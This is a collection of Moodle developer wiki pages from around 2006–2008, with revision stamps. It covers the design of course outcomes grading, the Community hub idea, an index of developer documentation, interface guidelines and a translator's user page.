In some cases you may want to define a special outcome, specific to a particular course. This is achieved by assigning the course ID number to the outcome's courseid field. Such an outcome is ''NOT'' available outside the context of that course.

==Overall switch==

The admin has a site-wide switch to enable/disable outcomes completely for the site.

==Outcomes management and reporting==

A grade report at /grade/report/outcomes is the place where people manage outcomes. There are three tabs to this report, visibility is dependent on your permissions:

===Site management (Admin user)===

The admin can create and edit a list of outcomes using a GUI.

Outcomes have these main fields:
* shortname - some code or abbreviated name
* fullname - the full "sentence" describing the outcome
* scaleid - a chosen scale for ratings

Later we can also add importing from a CSV file, so that it's easy for sites to import long lists of state-based standards or training competencies.

===Course management (Editing teacher)===

The editing teacher can choose from this large list to pick a subset of outcomes for the current course. They can also define new outcomes to be used JUST for this course.

===Course reporting (Teacher)===

The course report displays all the chosen outcomes for this course along with information about which activities are currently tied to them, or reporting of students according to which outcomes they've achieved "passing grades" in, and which ones they are failing in, as an aid to identify strong/weak points for individuals and groups.

Here is a sample report:

<table border="1" summary="Outcomes Report">
<tr><th>Outcome name</th><th>Overall average</th><th>Site-wide</th><th>Activities</th><th>Average</th><th>Number of grades</th></tr>

<tr><td rowspan="1">intelligence</td>
<td rowspan="1">Idiotic (1.5)
</td>
<td rowspan="1">No</td>
<td>Philosophy in France</td><td>Idiotic (1.5)</td><td>2</td></tr>
<tr><td rowspan="2">Wisdom</td>
<td rowspan="2">Smart (4.29)
</td>
<td rowspan="2">Yes</td>
<td>Ancient Gaul</td><td>Stupid (2.6)</td><td>5</td></tr>

<tr>
<td>French Kings and Queens</td><td>Clever (5.97)</td><td>2</td></tr>
<tr><td rowspan="1">honesty</td>
<td rowspan="1"> - </td>
<td rowspan="1">Yes</td>
<td> - </td><td> - </td><td> 0 </td></tr>

<tr><td rowspan="1">Arrogance</td>
<td rowspan="1"> - </td>
<td rowspan="1">Yes</td>
<td> - </td><td> - </td><td> 0 </td></tr>
</table>

==Activity editing==

A new grading section added to the course mod update form using a single function (similar to standard_coursemodule_elements()) which offers a choice between:
* basic grading (as now) OR
* outcomes

The course outcomes are shown in a multi-select list and any number can be chosen.

For Moodle 1.9 we should not offer both, to keep things simple.

The result of these forms goes to course/mod.php which is able to process them without any further functions from the module itself. Roughly it would use grade_get_items to find out what items were already set, and then compare to the new form input to work out what calls to grade_update() need to made to create/update/delete existing grade_items.

Note that not all activities could be upgraded to support this. Assignment is a natural first one to implement for 1.9, then we can see after that.

Potentially even modules without grading could still support outcomes, the columns in the gradebook would just have to be filled in manually, that's all.

==Activity grading==

Activities that support grading (like Assignment) need to be upgraded to support:
===Multiple grading interface===
grade_get_items() would get the items and make the interface fairly easy to do. Where there was one popup menu there would now be multiple popup menus.

===Storage of multiple grades===
This is a bit more tricky, because we want to avoid adding lots of grade1, grade2, grade3 fields to every module's tables.

I can see three potential ways forward here:

# We add new fields to every module and just live with the hardcoded limits (eg max of 5 outcomes per activity).
# We add a new generic table where modules can store their grades (outside of the gradebook).
# We open up the API slightly to allow modules to store their grades directly into the gradebook. This sort of binding was something I have been always trying to avoid but perhaps it's unavoidable.

We need to discuss these options and think about them some more.

Some example scenarios: [[Outcomes_examples]]

[[Category:Outcomes]]

[[ja:Development:アウトカム]]

Outcomes

2008-01-20T03:07:02Z

Mits: fixed typo - 'uset' -> 'use'

Community hub

2007-07-29T18:39:24Z

Mits: ja link

The Moodle Community hub is a future project which will allow more interaction between teachers building courses and teachers using them, courses and user data can then be stored in a repository as shown below:

[[Image:Community.png]]

==Moodle Network notes==

::After talking with MartinD about this in MoodleMootNZ'06, I am working on a "Moodle Network" model that supports the "Moodle Hub" as well as a more P2P layout. In fact, the choices of hub vs network model can be mixed and matched. Each node can configure a list of other nodes it knows about (and trusts!), and set what it offers to each of them. --[[User:Martin Langhoff|Martin Langhoff]] 13:11, 20 July 2006 (WST)

Here are my technical notes on how the internals would work...

* [[Community hub technotes]] - getting it done

== See also ==

* [[Community hub BEST]] - pictures and notes about the BEST Bulgarian project

[[Category:Future]]
[[Category:MNET]]

[[ja:コミュニティーハブ]]

Developer documentation

2006-12-04T17:47:21Z

Mits: ja link

<p class="note">'''Note:''' New developer documentation pages should be added to the ''Development namespace'' by typing <code>Development:</code> before the new page name i.e. <code><nowiki>[[New page name]]</nowiki></code>.</p>

==Guidelines==
The following guidelines are crucial reading for anyone wanting to contribute to the Moodle code base:
*[[Coding|Coding guidelines]] have to be followed by all Moodle developers
*[[Moodle architecture]] spells out the basic design goals behind Moodle
*[[Interface guidelines]] aim to provide a common feel to the Moodle user interface
*[[CVS (developer)|Moodle CVS for developers]] explains how to work with the Moodle code in CVS
*[[Unit tests]] explains how to run the unit tests, and how to write new test cases.
*[[Tracker]] explains the Moodle Tracker for keeping track of bugs, issues, feature requests etc
*[[Working with the Community|Working with the Community]] explains how to engage with the dev community and discuss changes

== Resources and tools ==

*[[Developer FAQ]] - frequently asked questions, especially useful for newcomers to Moodle
*[http://tracker.moodle.org/ Moodle tracker] - bug reports, feature requests and other tracked issues
*[http://moodle.org/mod/forum/view.php?id=55 General developer forum]
*[http://moodle.cvs.sourceforge.net/moodle/moodle/ CVS code] - browse the Moodle code via the web
*[http://moodle.org/xref/nav.html?index.html Cross reference] - phpxref output for browsing Moodle source code
*[http://phpdocs.moodle.org/ Moodle PHP doc reference] - automatically generated documentation
*[[Database Schema|Database Schema]] - for recent releases
*[http://moodle.org/course/view.php?id=5#4 Development news and discussion] section of Using Moodle course
*[http://developer.yahoo.com/yui YUI documentation] - YUI is the official AJAX library in moodle.
*[[Setting up Eclipse for Moodle development]] - Eclipse is a great editor to use for php development, if you can work out how to set it up.
*[[Unmerged files]] - changes on the stable branch in CVS that have not been merged to HEAD

==How you can contribute==

The M in Moodle stands for 'Modular'. There are many different types of components that you can contribute that can be plugged into Moodle to provide additional functionality. When you have developed a new component please publish it in the [http://moodle.org/mod/data/view.php?id=6009 database of Moodle modules and plugins]. The following types of plugins currently exist (in alphabetical order):
*[[Modules (developer)|Activity modules]]
*[[Admin reports|Admin reports]]
*[[Assignment types]]
*[[Authentication|Authentication methods]]
*[[Blocks Howto|Blocks]]
*[[Course formats]]
*[[Database fields (developer)|Database fields]]
*[[Database presets]]
*[[Enrolment plugins (developer)|Enrolment plugins]]
*[[Filters|Filters]]
*[[Question_engine]]
*[[Question import/export formats]]
*[[Question bank|Question bank teacher docs]]
*[[Question_engine#Question_types|Question types developper docs]]
*[[Quiz reports]]
*[[Resource types]]
*[[SSO plugins]]

There are also ways you can contribute that don't involve PHP programming:
*[[Themes]]
*[[Translation]]
*[[Database Schemas|Database schemas]]

You can also help a lot by
*[[Tests|Testing]]
*[[Tracker|Participating in the bug tracker]]

==Plans for the future==
Ideas for and details of planned future features of Moodle are initially discussed on the forums in the [http://moodle.org/course/view.php?id=5 Using Moodle] course at moodle.org. That developer discussions are intermixed with user discussions in the same forums may seem strange at first but is one of the reasons for the success of Moodle. It is important that both end-users and developers discuss the future features together.

Once ideas begin to crystalize on the forums they can be summarized in this wiki, either as part of the [[Roadmap]] or in the form of [[Developer notes]]. These pages then form the basis for further discussion in the forums.
*[[Roadmap]]
*[[Developer notes]]
*[[Student projects]]
*[[Developer conference|Developer conferences]]

==Documentation for core components==
This section is for documentation of specific components of the existing core Moodle code. Discussion of components that are under discussion or in development can be found in the [[Developer notes]] or on the [[Roadmap]].

*[[Migration to Role-driven model|Migration to Role-driven model]] @ v[[1.7]]
*[[UTF-8 migration|Migration to UTF-8]] @ v[[:Category:Moodle 1.6|1.6]]
*[[Question engine]]
*[[Quiz developer docs|Quiz module]]
*[[SCORM schema|SCORM module 1.5 schema]]
*[[Authentication API]]
*[[Stats package]]
*[[Email processing]]
*[[Cookieless Sessions]]
*[[lib/formslib.php|Formslib]] for quickly writing code to display and process more accessible and secure forms.

==Documentation for contributed code==
Many Moodle users contribute code for the benefit of other Moodle users. This can take the form of new activity modules, blocks, themes, resource plug-ins, assignment plug-ins, question type plug-ins, question import/export formats, quiz report plug-ins, course formats, ... This code is initially posted on the forums in the [http://moodle.org/course/view.php?id=5 Using Moodle] course and then often go into the [http://cvs.sourceforge.net/viewcvs.py/moodle/contrib/ contrib area] of the Moodle [[CVS]] repository. When you have developed a new component please publish it in the [http://moodle.org/mod/data/view.php?id=6009 database of Moodle modules and plugins]. Developer documentation for these components should be listed here.

==See also==
*[http://security.moodle.org/ Moodle Security Centre]
*[http://moodle.com/partners/ Moodle Partners] - providers of custom Moodle development services

[[es:Documentación para Desarrolladores]]
[[fr:Documentation développeur]]
[[zh:开发者文档]]
[[ja:開発者ドキュメント]]

Interface guidelines

2006-11-14T09:18:32Z

Mits: ja link

This document is not authoritative, it is a collection of ideas and under construction.

==Keeping it simple==

Use the minimum interface required to get the job done

==Standard pages==

===Activity modules===

*''index.php'' - lists all instances for that module in a course
*''view.php'' - displays a particular instance
*''config.html'' - configure an instance of the module

===Blocks===

*''config.html'' - configure an instance of the block

==One script per major function/page==

...

==Page layout==

# Print headings with print_heading, use the CSS hooks for IDs and Classes
# Print boxes around text using print_simple_box, use the CSS hooks for IDs and Classes

==Form layout==

# Show the more important settings at the top
# Each entry should have a label, and if necessary, a help file
# If there are more than 10 options, split them into required and optional/extra/advanced parameters

==Dealing with tables==

Use the print_table function whenever possible.

==Standard navigation tools==

# All pages should call print_header, and supply a standard navigation path to be displayed in it. Where possible, it should look like: COURSE >> INDEX >> INSTANCE >> SUBPAGES...
# Pages within activity modules should call navmenu() to generate the appropriate navigation menu.

==URLs==

# URLs should be as short as possible.
# No underscores in parameter names or files names
# Never use two words when one would do.

==Buttons vs links==

This is a hard one to define ...

The Google Web Accelerator issue definitely provides some pointers here:

# Actions which can modify the state of Moodle (data files, database, session information) should be performed through buttons
# At the very least, such actions which are implemented as links should forward to a confirmation page which *does* use buttons

==CSS naming==

* See [[Standards|theme standards]]

==Linking to help==

* Help buttons should be on the right of the thing (as an exception it can be left, if the thing is right-aligned)

==Related topics==

Robin Good's Latest News. "Interaction Design Meets Online Real Estate" 1 Mar. 2005 http://www.masternewmedia.org/news/2005/03/01/interaction_design_meets_online_real.htm

The article presents a view of virtual spaces with the focus on human actions. It reminded me of communicative approaches like Moodle. The interface serves as the handle of all the communication tools.

[[es:Manual de estilo de la interfaz]]
[[ja:インターフェースガイドライン]]

Future

2006-08-26T01:03:55Z

Mits: added Japanese inter-language linking

{{About Moodle}}
As Moodle gains in maturity, its directions are increasingly influenced by the community of developers and users. A dynamic database of proposed features and their status can be found at [http://tracker.moodle.org/ tracker.moodle.org]. Your [[Credits|contributions]] in the form of ideas, code, feedback and promotion are all very welcome - see the [[Documentation for Developers|Developers manual]] and the [http://moodle.org/help community forums] for more details. You can also pay to have certain features developed sooner- see [http://moodle.com/development/ moodle.com/development] for information and a quote.

For more detailed information, see our [[Roadmap]] for developers.

[[Category:Core]]
[[Category:Administrator]]
[[Category:Developer]]

[[es:Futuro]]
[[nl:Toekomst]]
[[de:Zukunft]]
[[fr:Futur]]
[[ja:未来]]

Future

2006-08-25T23:25:29Z

Mits: Changed Moodle Tracker URI

User:Mitsuhiro Yoshida

2006-08-08T11:15:30Z

Mits:

The official translator for Moodle in Japanese since Nov. 21, 2002.<br />
Moodle Partner<br />
Moodle theme Oceanblue developer

http://mitstek.com/

User:Mitsuhiro Yoshida

2006-08-08T11:06:24Z

Mits:

The official translator for Moodle in Japanese since Nov. 21, 2002.<br />
Moodle Partner<br />
Moodle theme Oceanblue developer

http://mitstek.com/